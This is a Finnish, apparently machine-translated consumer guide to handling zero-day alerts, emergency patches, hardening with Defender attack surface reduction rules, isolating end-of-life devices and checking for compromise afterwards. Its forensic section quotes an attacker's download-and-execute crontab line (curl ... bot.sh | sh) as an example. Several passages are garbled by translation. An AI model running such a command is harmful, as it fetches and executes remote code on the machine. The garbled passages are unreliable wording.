Nollapäivän haavoittuvuusvaroitukset, hätäkorjaukset ja verkon eristäminen¶

Herääminen Yhdysvaltain kyberturvallisuus- ja infrastruktuuriturvaviraston kiireelliseen kyberturvallisuusneuvontaan (CISA), Yhdistyneen kuningaskunnan kansallinen kyberturvakeskus (NCSC), Apple, Google tai Microsoft varoittaa, että kriittinen nollapäivän haavoittuvuus (0-Day) on hyödynnetty aktiivisesti luonnossa (KEV) iPhonea, Android-puhelinta, Windows PC:tä, Macia, Chrome-selainta, kodin/toimiston VPN-palomuuria tai verkkotallennustilaa vastaan (NAS) ajaa tai huomaat, että kodin Wi-Fi-reitittimesi, valvontakameran NVR tai vanhempi tietokoneesi on saavuttanut Elämän lopun (EoL / End-of-Support) eikä koskaan saa korjaustiedostoa äskettäin paljastuneesta koodin etäsuoritusvirheestä, vaatii välitöntä triaasia. Toisin kuin rutiininomaiset kuukausittaiset ohjelmistopäivitykset, aktiivisesti hyödynnetty nollapäivä tarkoittaa, että uhkatoimijoilla on jo toimiva aseistettu hyväksikäyttö (kuten nollanapsautus iMessage-/WhatsApp-kuvan jäsennin hyväksikäyttö, haitallinen WebP-/kirjasimen renderöintiselaimen hyväksikäyttö tai todentamattomat WAN-portin reitittimien ja exploit-komentolaitteiden käyttöönotto). korjaus. Kerran nollapäivän todistePoC) on julkaistu tai lisätty CISA:n tunnettuihin hyödynnettyihin haavoittuvuuksiin (KEV) Katalogi, automaattiset botnetit (Mirai, Volt Typhoon, ransomware-tytäryritykset) skannaa koko IPv4-Internetin 15-45 minuutissa kaapatakseen kaikki avoimelle webille altistuneet korjaamattomat laitteet.

Jos nollapäivän hyväksikäyttö on häirinnyt hengenturvalaitteita, sairaalan kliinisiä järjestelmiä tai yleishyödyllisiä infrastruktuureja tai siihen liittyy fyysisiä kiristysuhkia, soita paikalliseen hätänumeroon (911 Yhdysvalloissa ja Kanadassa, 112 kaikkialla Euroopan unionissa, 999 Isossa-Britanniassa) tai tutustu kansainvälisten hakemistoomme hätänumerot välittömästi. Kaikille kuluttaja-, kotitoimisto- ja pienyritysten nollapäivähälytyksille ja käyttöiän päättymisilmoituksille (EoL) laitteistohätätilanteissa, suorita alla oleva nopea korjaus, tilapäinen lieventäminen ja verkon eristäminen.

Tee tämä nyt¶

1. Käytä hätätilannetta kaistan ulkopuolella (OOB) -korjaukset JA suorita täydellinen uudelleenkäynnistys / selaimen uudelleenkäynnistys välittömästi: Hätäpäivityksen lataaminen on hyödytöntä, ennen kuin RAM-muistissa oleva haavoittuva koodi on poistettu. Chromessa, Edgessä, Bravessa ja Firefoxissa korjattu nollapäivä säilyy muistissa, kunnes napsautat oikeassa yläkulmassa olevaa "Käynnistä uudelleen ja päivitä" -painiketta (chrome://settings/help). iOS-, macOS-, Windows- ja Android-käyttöjärjestelmissä käynnistä päivitys manuaalisesti ja käynnistä laite kokonaan uudelleen (mikä myös poistaa pysyvät muistissa olevat vakoiluohjelmat).
2. Jos nollapäivällä EI ole vielä saatavilla korjaustiedostoa ("Pappaamaton 0-päivä"), käytä toimittajan väliaikaista kiertotapaa tai hyökkäyspinnan vähentämistä (ASR) sääntö tänään: Kun haavoittuvuus paljastetaan ennen korjaustiedoston kääntämistä, CISA ja toimittaja julkaisevat tilapäisen lieventämisen (kuten UPnP:n ja WAN-etähallinnan poistamisen käytöstä reitittimessä, Apple Lockdown Mode -tilan kytkemisen päälle iOS/macOS:ssä, JavaScript JIT:n poistaminen käytöstä Edgessä/Chromessa tai tietyn TCP/UDP-portin estäminen).
3. Tarkista julkinen IP-osoitteesi Shodan.io tai GRC ShieldsUP heti ja sulje kaikki avoimet WAN-portit (Port Forwarding / UPnP / DMZ): 90 prosenttia tuhoisista kodin ja pienyritysten nollapäivän kompromisseista osuu laitteisiin, joihin pääsee suoraan julkisesta internetistä (QNAP / Synology NAS-asemat, ASUS / Netgear / TP-Link reitittimen järjestelmänvalvojan sivut, Plex, RDP Port 3389, tai VPN kodinkoneet). Kirjaudu sisään reitittimeen ja poista käytöstä WAN-etähallinta, UPnP (Universal Plug and Play) ja DMZ-isäntä heti ohjeidemme jälkeen. kodin reitittimien ja IoT-laitteiden turvaopas.
4. Käynnistä matkapuhelimesi ja reitittimesi välittömästi uudelleen, jos epäilet vakoiluohjelmia tai botnet-tartuntaa: Kehittyneitä nollapäivän hyväksikäyttöjä älypuhelimia vastaan ​​(Pegasus, Predator, Triangulation) ja SOHO-reitittimet (VPNFilter, KV Botnet) toimivat usein puhtaasti haihtuvien sisällä RAM välttääksesi havaitsemisen levyllä. Laitteen virran katkaiseminen kokonaan, 60 sekuntia odottaminen ja sen uudelleen käynnistäminen pakottaa hyökkääjän hyödyntämään laitetta uudelleen (mikä epäonnistuu, kun hätäkorjaus tai lukitustila on aktiivinen).
5. Oleta, että nollapäivän korjaus EI potkaise ulos hyökkääjää, joka on jo murtautunut laitteellesi ennen korjausta: Ohjelmistokorjaus sulkee avoimen ikkunan, mutta se ei poista takaovia, web-komentotulkkeja, järjestelmänvalvojan huijaustilejä tai varastettuja istuntoevästeitä, jotka on luotu, jos hyökkääjä käytti järjestelmääsi eilen. Jos reitittimesi, NAS, VPN tai palvelimesi oli alttiina Internetiin todentamattomana CVSS 9.8+ nollapäivä oli aktiivinen luonnossa, tarkista lokit kompromissiindikaattoreiden varalta (IoCs), kierrä kaikkia valtuustietoja ja palauta tehdasasetukset tai rakenna uudelleen, jos ne vaarantuvat.
6. Eristä kaikki elinkaaren loppu (EoL) laite, joka ei voi enää vastaanottaa suojauskorjauksia tiukkaan vieras-/IoT-VLAN-verkkoon, jonka WAN-internetyhteys on estetty: Älä koskaan jätä käyttöiän loppua käyttävää Windows ⅞/10 -tietokonetta, tuettua vanhaa Macia, vanhentunutta Android-/iPhone- tai lopetettua Wi-Fi-reititintä suoraan pääverkkoosi tai avoimeen Internetiin liitettynä. Jos EoL-reititin on tärkein Internet-yhdyskäytäväsi, irrota ja vaihda se välittömästi.

Päätöspuu: hätätriage aktiivisille nollapäivähälytyksille ja loppuelämän (EoL) laitteisto¶

Noudata tätä jäsenneltyä päätöspuuta aina, kun kiireellinen nollapäivän haavoittuvuusilmoitus tai käyttöiän päättymisilmoitus vaikuttaa ohjelmistoosi tai laitteistoosi:

flowchart TD
    Alert["Kiireellinen nollapäivä (0-päivä) tai CISA KEV -hälytys ilmoitettu käyttöjärjestelmällesi, selaimellesi, reitittimellesi tai NAS:lle"] --> PatchCheck{"1. Onko myyjä julkaissut hätäturvakorjauksen?"}
    PatchCheck -->|"Kyllä: Patch saatavana"| Exposure{"2. Oliko laitteesi suoraan alttiina Internetille (WAN-portti auki) ennen korjausta?"}
    Exposure -->|"Ei: NAT:n takana oleva asiakaslaite (puhelin, kannettava tietokone, selain)"| Apply["Asenna päivitys alkuperäisten asetusten kautta + täydellinen uudelleenkäynnistys / selaimen uudelleenkäynnistys välittömästi"]
    Exposure -->|"Kyllä: Julkinen reititin, NAS, VPN tai palvelin"| Forensic["KRIITTINEN: Paikkaus yksin ei karkoita hyökkääjiä. Tarkista lokit Web Shells / Rogue Admins, Patch, Rotate Keys tai Factory Reset"]
    PatchCheck -->|"Ei: korjaamaton 0 päivän TAI laite on käyttöiän lopussa (EoL)"| EoLCheck{"3. Onko laite lopullisesti käyttöikänsä lopussa (EoL) tai odottaako laite toimittajakorjausta?"}
    EoLCheck -->|"Odotetaan toimittajakorjausta (väliaikainen 0 päivän ikkuna)"| Mitigate["Käytä hätätapausta: sulje WAN-portit, ota käyttöön Applen lukitustila / Windows ASR tai poista haavoittuva palvelu käytöstä"]
    EoLCheck -->|"Pysyvä käyttöiän loppu (korjausta ei tule koskaan)"| Role{"4. Mikä rooli EoL-laitteella on?"}
    Role -->|"Edge-reititin / palomuuri / modeemi"| Replace["IRROTA JA VAIHDA VÄLITTÖMÄSTI (tai Flash-tuettu OpenWrt-laiteohjelmisto, jos laite on yhteensopiva)"]
    Role -->|"Vanha PC, vanha puhelin, tulostin, kamera tai NAS"| Isolate["Air Gap tai siirry eristettyyn IoT VLANiin + Estä Internet-yhteys reitittimen palomuurissa"]

Lukee nollapäivän neuvon kuin turvainsinööri (dekoodaus CVE, CVSS, CISA KEV, ja EPSS)¶

Kaikki tiedotusvälineissä raportoidut ohjelmistohaavoittuvuudet eivät edellytä kaiken pudottamista klo 2.00. Viiden teknisen indikaattorin ymmärtäminen virkamiehen sisällä CISA, NIST NVD, tai toimittajan tietoturvatiedote kertoo 30 sekunnissa, onko sinulla teoreettinen laboratoriovika vai viiden hälytyksen talopalo:

Vaihe 1: Nollapäivän hätäkorjaus ja -tarkistus kaikilla tärkeimmillä alustoilla¶

Kun aktiivinen nollapäivä osuu käyttöjärjestelmääsi tai selaimeesi, älä odota automaattisia yön yli tapahtuvia ylläpitoikkunoita (jotka usein viivästävät asennusta 3-14 päivää). Pakota veto ja tarkista rakennusnumero manuaalisesti:

1. Verkkoselaimet (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): Nollapäivän ykköskohde¶

Koska verkkoselaimet jäsentävät epäluotettavaa JavaScriptiä (V8 / SpiderMonkey / JavaScriptCore JIT-kääntäjät), WebRTC-videovirrat, WebGL-grafiikka ja kuvamuodot (WebP, libvpx, FreeType) jokaisesta vierailemastasi sivustosta ja mainoksesta, selaimen nollapäivät muodostavat suurimman osan kuluttajien nollapäivähälytyksistä. 1. Google Chrome: Kirjoita chrome://settings/help osoitepalkissa. Chrome tarkistaa välittömästi Googlen päivityspalvelimet ja lataa korjaustiedoston. Sinun on napsautettava sinistä "Käynnistä uudelleen" -painiketta, joka tulee näkyviin, ja jos sinulla on piilotettuja Chrome-taustaprosesseja käynnissä ilmaisinalueella, sulje ne kaikki tai käynnistä tietokoneesi uudelleen, jotta vanha haavoittuva chrome.exe binaari on kokonaan poistettu RAM-muistista. 2. Microsoft Edge: Kirjoita edge://settings/help, odota, että lataus saavuttaa 100 %, ja napsauta Käynnistä uudelleen. 3. Brave selain: tyyppi brave://settings/help ja napsauta Käynnistä uudelleen. 4. Mozilla Firefox: Napsauta Valikko-painiketta -> Ohje -> Tietoja Firefoxista (tai kirjoita about:preferences#general -> vieritä kohtaan Firefox-päivitykset) ja napsauta Käynnistä uudelleen Firefoxin päivittämiseksi. 5. Apple Safari: Safari-päivitykset sisältyvät suoraan iOS-, iPadOS- ja macOS-järjestelmäpäivityksiin (sekä erilliset Safari-päivitykset alla System Settings -> General -> Software Update macOS Sonoma/Ventura).

2. Älypuhelimet ja tabletit (Apple iOS / iPadOS ja Google Android)¶

Mobiililaitteiden nollapäivät (etenkin nollanapsautus iMessage, FaceTime, WebKit, kantataajuusmodeemi ja Android-järjestelmän / Qualcommin GPU-virheet) ovat raskaasti kaupallisten vakoiluohjelmien (Pegasus, Predator) ja kohdennetut uhkatoimijat. - Apple iPhone ja iPad (iOS / iPadOS): 1. Avaa Asetukset -> Yleiset -> Ohjelmistopäivitys. 2. Ota käyttöön Automaattiset päivitykset -> Suojausvastaukset ja järjestelmätiedostot (joten Applen Nopeat suojausvastaukset / Taustatietoturvaparannukset otetaan käyttöön automaattisesti tärkeimpien iOS-julkaisujen välillä). 3. Asenna odottava iOS-päivitys välittömästi, joka sisältää täyden ytimen uudelleenkäynnistyksen. - Android-älypuhelimet (Google Pixel, Samsung Galaxy jne.): 1. Androidilla on itse asiassa kaksi erillistä tietoturvapäivityskanavaa, jotka sinun on tarkistettava erikseen: - Kanava A (käyttöjärjestelmän suojauskorjaustaso): Avaa Asetukset -> Suojaus ja tietosuoja -> Järjestelmä ja päivitykset -> Tietoturvapäivitys (ja tarkista päivämäärä: sen pitäisi olla viimeisten 30-60 päivän sisällä). - Kanava B (Google Play -järjestelmäpäivitys / Project Mainline): Avaa Asetukset -> Suojaus ja tietosuoja -> Järjestelmä ja päivitykset -> Google Play -järjestelmäpäivitys. Monet kriittiset nollapäivät Androidin mediakoodekeissa, Wi-Fi-pinossa ja ajon aikana on korjattu Google Play -järjestelmäpäivitysten kautta odottamatta operaattorisi kuukausittaista laiteohjelmistopäivitystä. Napauta Tarkista päivitykset, asenna ja Käynnistä uudelleen.

3. Pöytäkäyttöjärjestelmät (Windows 10/11, macOS ja Linux)¶

• Windows 10 ja Windows 11:
• Avaa Asetukset (Win + I) -> Windows Update -> Tarkista päivitykset.
• Tarkista myös Windowsin suojaus -> Virus- ja uhkien suojaus -> Suojauspäivitykset -> Tarkista päivitykset (Microsoft lähettää usein hätätilanteessa nollapäivän havainnot ja haavoittuvuuden virtuaalikorjaukset päivittäin. Microsoft Defender Security Intelligence -määritelmä päivittyy tuntia ennen kuin täydellinen Windows-korjaus on valmis).
• Apple macOS:
• Avaa Omenavalikko -> Järjestelmäasetukset -> Yleiset -> Ohjelmistopäivitys. Varmista, että "Install Security Responses and system files" on kytketty päälle tiedoissa (i) -painiketta.
• Linux (Ubuntu / Debian ja RHEL / Fedora):
• Suorita välitön tietovaraston päivitys ja tarkista onko ydin vai jaettu kirjasto (glibc, openssl, openssh, xz, cups) uudelleenkäynnistys vaaditaan:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

Vaihe 2: Hätätilanteet, kun EI vielä ole korjaustiedostoa (selviydytään "korjaamattoman nollapäivän" ikkunasta)¶

Mitä teet milloin CISA, Microsoft, Apple, tai tietoturvayritys ilmoittaa, että kriittistä haavoittuvuutta hyödynnetään tällä hetkellä aktiivisesti, mutta myyjä sanoo, että virallinen korjaustiedosto ei ole valmis 3-10 päivään? Sinun on välittömästi käytettävä kompensoivia ohjaimia ja hyökkäyspinnan vähentämistä (ASR) katkaista hyväksikäyttöketju ennen kuin se voi suorittaa:

Kopioi ja liitä komentosarja: Windows PowerShell Emergency Zero-Day Hardening (ASR säännöt)¶

Jos korjaamaton Windows, Office tai PDF nollapäivä kiertää luonnossa ja käytät Windows 10/11 Pro/Enterprise -käyttöjärjestelmää (tai käytät Defenderiä Windows Homessa rekisterin/PowerShellin kautta), suorita nämä komennot PowerShellissä (Suorita järjestelmänvalvojana) aktivoidaksesi Microsoft Defenderin ytimen Attack Surface Reduction (Attack Surface).ASR) säännöt Block tila (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Vaihe 3: Mitä tehdä, kun laitteesi loppuu (EoL / Tuen loppu)¶

Jokainen laitteisto ja ohjelmisto saavuttaa lopulta End-of-Life (EoL) tai Tuen loppu (EoS), päivämäärä, jonka jälkeen valmistaja lopettaa pysyvästi tietoturvakorjausten julkaisemisen, vaikka se olisi katastrofaalinen CVSS 10.0 nollapäivän haavoittuvuuksia löydetään. - Miksi End-of-Life on aktiivinen hätätilanne: Hyökkääjät käyttävät automaattista "binaarista erotusta" (BinDiff / Ghidra) tuetuille malleille (esimerkiksi Windows 11 tai uusi 2025 TP-Link-reititin) julkaistuissa korjaustiedostoissa tarkan haavoittuvuuden selvittämiseksi ja tämän hyväksikäytön käynnistämiseksi välittömästi End-of-Life-malleja vastaan (kuten Windows ⅞/tilaamaton Windows 10, vanhemmat macOS-julkaisut, jotka jakavat saman koodin, tai ainakin viisi vuotta vanhaa koodia). älä koskaan hanki korjaustiedostoa ("Forever-Day Exploits").

4-tasoinen loppuelämä (EoL) Hardware Isolation & Replacement Protocol¶

Käytä tätä päätösmatriisia käsitelläksesi kaikkia kodin tai toimiston käyttöiän päättyessä olevia laitteita ilman verkonlaajuisen murron riskiä:

Kuinka lukita elämän loppu (EoL) Tulostin, kamera tai NAS reitittimesi "ei-Internet-paikallisvankilassa"¶

Jos sinulla on vanhempi verkkotulostin, älytelevisio, IP-turvakamera tai vanha NAS-asema, joka toimii edelleen hyvin paikallisesti kotiverkossa (LAN), mutta se on saavuttanut käyttöiän lopun eikä koskaan saa uutta tietoturvakorjausta, sinun ei tarvitse heittää sitä roskakoriin, jos estät sitä puhumasta ulkopuoliseen Internetiin (WAN): 1. Kirjaudu ensisijaisen Wi-Fi-reitittimesi hallintakonsoliin. 2. Siirry kohtaan LAN-asetukset / DHCP-palvelin -> Staattinen DHCP-vuokraus (osoitteen varaus) ja määritä EoL-laitteen MAC Address pysyvä staattinen paikallinen IP-osoite (esim. 192.168.1.240). 3. Siirry kohtaan Palomuuri / Parental Controls / Access Control / Traffic Rules reitittimen asetuksista: - Luo sääntö kohteelle 192.168.1.240 (tai sen MAC Address) asetettu arvoon Estä kaikki Internet (WAN) -käyttö (Outbound & Inbound WAN = DROP/REJECT). - Vaihtoehtoisesti voit asettaa EoL-laitteen omien manuaalisten verkkoasetusten sisällä sen Static IP -asetukseksi 192.168.1.240, Aliverkon peite 255.255.255.0, ja jätä Default Gateway ja DNS Server kentät täysin tyhjiksi (tai aseta oletusyhdyskäytäväksi olematon IP, kuten 192.168.1.254). Ilman kelvollista oletusyhdyskäytävää EoL-tulostin tai -kamera voi silti tulostaa paikalliselta tietokoneelta tai suoratoistaa niihin. 192.168.1.x aliverkko, mutta se ei fyysisesti pysty reitittämään paketteja Internetiin tai tavoittamaan Internetistä.

Vaihe 4: hyväksikäytön jälkeinen rikostekninen tutkimus, jos laitteesi paljastettiin ennen korjausta¶

Kun a CVSS 9.8+ todentamaton nollapäivä vaikuttaa Internetiin päin olevaan laitteeseen (kuten kodin tai pienyrityksen reitittimeen, VPN-yhdyskäytävään, QNAP / Synology NAS, Plex mediapalvelin tai porttivälitteinen työpöytä), toimittajan laiteohjelmistopäivityksen asentaminen sulkee vain etuoven. Jos automaattinen skanneri osuu julkiseen IP-osoitteeseesi ennen kuin korjasit, hyökkääjä on saattanut jo asentaa pysyvän takaoven, joka kestää tavallisen uudelleenkäynnistyksen. Suorita tämä 4-vaiheinen korjauksen jälkeinen rikostekninen tarkastus:

1. Tarkista luvattomat järjestelmänvalvojatilit ja SSH-avaimet:
2. Avaa Käyttäjät / Järjestelmänvalvojat -hallintanäyttö NAS-laitteellasi, reitittimelläsi tai tietokoneellasi ja varmista, ettei siellä ole tuntemattomia järjestelmänvalvojatilejä (esim. support, admin2, backup, tai system) luotiin nollapäivän aikana.
3. Tarkista Linux/macOS/NAS-järjestelmät -/.ssh/authorized_keys ja /root/.ssh/authorized_keys varmistaaksesi, ettei mitään vääriä julkisia SSH-avaimia ole liitetty.
4. Tarkista aktiiviset lähtevät verkkoyhteydet (netstat / Router Traffic Monitor) ja DNS-asetukset:
5. Vaarallisten SOHO-reitittimien ja NAS-laitteiden ensisijainen ja toissijainen WAN DNS -palvelin kaapataan usein osoittamaan vääriin IP-osoitteisiin tai ylläpitämään jatkuvaa käänteistä shell-/botnet-yhteyttä (SOCKS5 välityspalvelin tai Tor rele).
6. Kirjaudu reitittimesi WAN/Internet-asetuksiin ja varmista, että DNS on asetettu Internet-palveluntarjoajasi oletusasetukseksi tai vahvistettu julkinen ratkaisija (1.1.1.1, 8.8.8.8, tai 9.9.9.9).
7. Tarkista cron Työpaikat, käynnistyskomentosarjat ja verkkojuurihakemistot Web Shellsille:
8. Nollapäivän hyökkäyksiä web-hallittuja laitteita vastaan ​​lähes aina pieni pudotus .php, .jsp, .aspx, tai .cgi web shell laitteen verkkopalvelinhakemistoon tai lisää pysyvä crontab lataa ja suorita rivi (curl http://.../bot.sh | sh).
9. Jos reitittimessäsi tai NAS-järjestelmässäsi on selittämätöntä korkeaa suorittimen käyttöä, outoja lähtevän liikenteen piikkejä tai muokattuja järjestelmän binaareja nollapäivähälytyksen jälkeen, älä luota pelkkään kiinteään laiteohjelmistopäivitykseen: varmuuskopioi puhtaat käyttäjätietotiedostot (vain valokuvat ja asiakirjat, älä koskaan viimeisimpiä järjestelmän asetusten varmuuskopioita, jotka saattavat sisältää hyökkääjän cron-työn). laiteohjelmisto puhtaalta tietokoneelta ja aseta upouusi järjestelmänvalvojan salasana ja tuore MFA-siemen.
10. Kierrä kaikkia haavoittuvaan laitteeseen tallennettuja tai sen kautta välitettyjä tunnistetietoja:
11. Jos reuna-VPN-laite, reititin tai NAS vaarantui ennen korjausta, kaikki sellaiset salasanat, SMB-verkon jaetut tunnistetiedot, pilvivarmistussovellusliittymäavaimet (AWS S3, Backblaze B2, Wasabi), tai kyseiselle laitteelle tallennetut yksityiset SSL/TLS-avaimet on peruutettava ja luotava uudelleen välittömästi.

Usein kysytyt kysymykset¶

Poistaako nollapäiväkorjauksen asentaminen hakkerit, jos laitettani käytettiin jo ennen päivitystä?¶

Ei. Ohjelmiston tietoturvakorjaus korjaa vain taustalla olevan koodin haavoittuvuuden, joten tulevat hyväksikäyttöyritykset epäonnistuvat. se ei häätä hyökkääjää, joka on jo käyttänyt haavoittuvuutta hyväkseen ennen korjausta ja asentanut pysyvän verkkokuoren, takaoven binaarin, ajoitetun tehtävän tai väärän järjestelmänvalvojan tilin, eikä se mitätöi jo varastamiaan istuntoevästeitä tai salasanoja. Jos laitteesi joutui suoraan julkiseen Internetiin (kuten reitittimeen, NAS:iin, VPN-laitteeseen tai julkiseen palvelimeen), kun todentamatonta nollapäivää hyödynnettiin aktiivisesti luonnossa, sinun on tarkastettava järjestelmälokit vaarantumisindikaattoreiden (IoC) varalta, käännettävä kaikkia salasanoja ja SSH/API-avaimia ja suoritettava puhdas tehdasasetusten palautus tai käyttöjärjestelmän palautus.

Kuinka voin tarkistaa, onko Wi-Fi-reitittimeni tai tietokoneeni saavuttanut käyttöiän loppumisen (EoL)?¶

Katso reitittimesi pohjassa olevaa valmistajan etikettiä (merkitkää muistiin tarkka mallinumero ja laitteistoversio, kuten v1, v2 tai v4) ja tarkista valmistajan virallinen End-of-Life / End-of-Service Products List -verkkosivu (julkaisijat ASUS, Netgear, TP-Link, Linksys, D-Link), käyttöjärjestelmät, Synology-yhteisön endof- ja QNAP-tietokanta. puhelimet ja ohjelmistot. Lisäksi kirjaudu sisään reitittimesi laiteohjelmiston päivitysnäyttöön: jos uusimman saatavilla olevan laiteohjelmiston päivämäärä on yli 18-24 kuukautta vanha, käsittele reititintä de facto käyttöiän lopussa ja vaihda se tai flash-tuettu OpenWrt-laiteohjelmisto.

Voinko tehdä käyttöiän loppumisesta Windows 10 -tietokoneen tai vanhan Macin turvallisen ostamatta uutta tietokonetta?¶

Kyllä. Kun Microsoft lopettaa ilmaisen kuluttajan tietoturvatuen Windows-versiolle tai Apple luopuu vanhemman Intel- tai aikaisemman Mac-mallin macOS-päivityksistä, fyysinen tietokonelaitteisto on kunnossa. vain käyttöjärjestelmä on End-of-Life. Voit joko rekisteröidä Windows 10 -tietokoneen Microsoftin viralliseen Extended Security Updates (ESU) -ohjelmaan tai varmuuskopioida tiedostosi ja asentaa nykyaikaisen, aktiivisesti korjatun, ilmaisen Linux-käyttöjärjestelmän, kuten Linux Mint, Ubuntu LTS, Fedora tai Google ChromeOS Flex USB-muistitikun kautta, mikä antaa nykyiselle kannettavalle tietokoneellesi vielä 5-8 vuoden jatkuvan nollapäivän selainpäivityksen.

Lähteet tarkistettu¶

• Kyberturvallisuus ja infrastruktuurin turvallisuusvirasto (CISA, Yhdysvallat): Tunnetut hyväksikäytetyt haavoittuvuudet (KEV) Luettelo, sitova toimintaohje BOD 22-01 (tunnettujen hyväksikäytettyjen haavoittuvuuksien merkittävän riskin vähentäminen) ja BOD 23-02 (Internetille altistuvien hallintaliittymien aiheuttaman riskin vähentäminen).
• Federal Bureau of Investigation (FBI), Kansallinen turvallisuusvirasto (NSA), ja Yhdistyneen kuningaskunnan kansallinen kyberturvakeskus (NCSC): Yhteinen kyberturvallisuusneuvonta bottiverkkojen käyttöiän lopun hyödyntämisen lieventämisestä (EoL) SOHO-reitittimet, palomuurit ja VPN-laitteet.
• National Institute of Standards and Technology (NIST, Yhdysvallat): SP 800-40 Rev. 4, Guide to Enterprise Patch Management Planning: Preventive Maintenance for Technology.
• Apple Platform Security & Citizen Lab (Toronton yliopisto): iOS / macOS Lockdown Mode -arkkitehtuuri ja nopea suojaustoimi nolla-napsautuksen vakoiluohjelmien vähentämiseksi.
• Microsoft Security Response Center (MSRC): Microsoft Defender Attack Surface Reduction (ASR) Käyttöönottoviite nollapäivän lieventämiseen ja kaistan ulkopuolella (OOB) Tietoturvapäivitysohjeet.

Aiheeseen liittyviä oppaita¶

• Kodin reitittimien, älytelevisioiden ja IoT-laitteiden suojaaminen
• Haittaohjelmien, kiristysohjelmien ja vakoiluohjelmien tartuntojen poisto
• Stalkerwaren, vakoiluohjelmien ja keyloggerin tunnistus puhelimissa
• Tietomurtovastaus, vuotaneet salasanat ja luottojen jäätyminen
• Hätänumerot maittain